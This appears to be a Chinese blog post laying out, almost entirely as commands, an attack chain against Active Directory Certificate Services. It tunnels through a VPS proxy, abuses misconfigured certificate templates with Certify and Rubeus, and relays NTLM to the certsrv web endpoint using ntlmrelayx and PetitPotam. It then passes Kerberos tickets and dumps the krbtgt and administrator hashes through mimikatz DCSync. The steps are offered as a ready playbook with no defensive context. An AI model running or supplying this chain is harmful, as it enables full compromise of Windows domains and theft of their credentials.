ADCS证书服务打法

ADCS证书服务打法

探测域内证书服务

判断是否存在域和adcs证书

ipconfig /all #查看ip配置详细信息


目标机器1.1.1.1 --》vps1.1.1.2———》win

ping 192.168.1.1  不出网  --》1.1.1.1  


iox proxy -r 1.1.1.2:1234

iox proxy -l 1234 -l 1081


proxychains4  1.1.1.2:1081



msf会。x x

certutil -CA #显示注册策略CA
certutil -config - -ping #这个命令因为会弹窗,所以一般不使用

证书模版配置错误

枚举证书漏洞

execute-assembly /root/桌面/tools/Certify.exe find /vulnerable

execute-assembly /root/桌面/tools/Certify.exe request /ca:adcs.attack.com\attack-ADCS-CA /template:ATTACK /altname:attackadmin

pem转换pfx证书

#通过openssl转换证书
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
#将pfx证书转换为base64
cat cert.pfx | base64 -w 0

申请TGT票据

execute-assembly /root/桌面/tools/Rubeus.exe asktgt /user:attackadmin /certificate:base64 /aes256 /nowrap

NTLM Relay攻击

curl http://192.168.3.3/certsrv/ -I

http://192.168.3.3/certsrv/certfnsh.asp

ntlmrelayx监听获取TGT

python3 ntlmrelayx.py -t http://192.168.3.3/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

python3 PetitPotam.py 192.168.3.131 192.168.3.2

Rubeus 导入证书数据

Rubeus.exe asktgt /user:dc$ /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMIIREDCCB0cGCSqGSIb3DQEHBqCCBzgwggc0AgEAMIIHLQYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQMwDgQILf9NkUl+mCACAggAgIIHAGdMEaP/Q3J0DCV2BjNdtdqWDPZ8sv4A9j1qLCqBLuCo6UeGwy2Zj2Ldxijsdr/rKO9pHgfLpciSMP4BhnDVpu8zKluhJavzQjwkg3dE6VpBjKmOtR7kUrMsYLOvmUYsvkYwrCsLvALPj3TE2qtrhyUo30xDt3huEhrR1CP+w6Q47wwzkY/qu7m+EWz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ZL09mHM+MnFwrpg72ptNfTUIsxXS9kgCAHx/eUSfK4uoHDUC/kb+QmtCyKNFxHoLICJ5zElMCMGCSqGSIb3DQEJFTEWBBSeaDE/XaCIYF64Xf+cCy43b4W53TAtMCEwCQYFKw4DAhoFAAQUf9JhgR4neVyb6VGZJ1NVOyIliIIECIoOhZ9+3Wml /ptt

mimikatz.exe 
kerberos::list #查看kerberos票据
kerberos::purge #清空以前的票据
kerberos::ptt ticket.kirbi #导入票据
lsadump::dcsync /user:krbtgt /csv #导出krbtgt用户的hash
lsadump::dcsync /user:administrator /csv #导出administrator用户的hash
posted @ 2023-01-17 10:40  Ray言午  阅读(917)  评论(0编辑  收藏  举报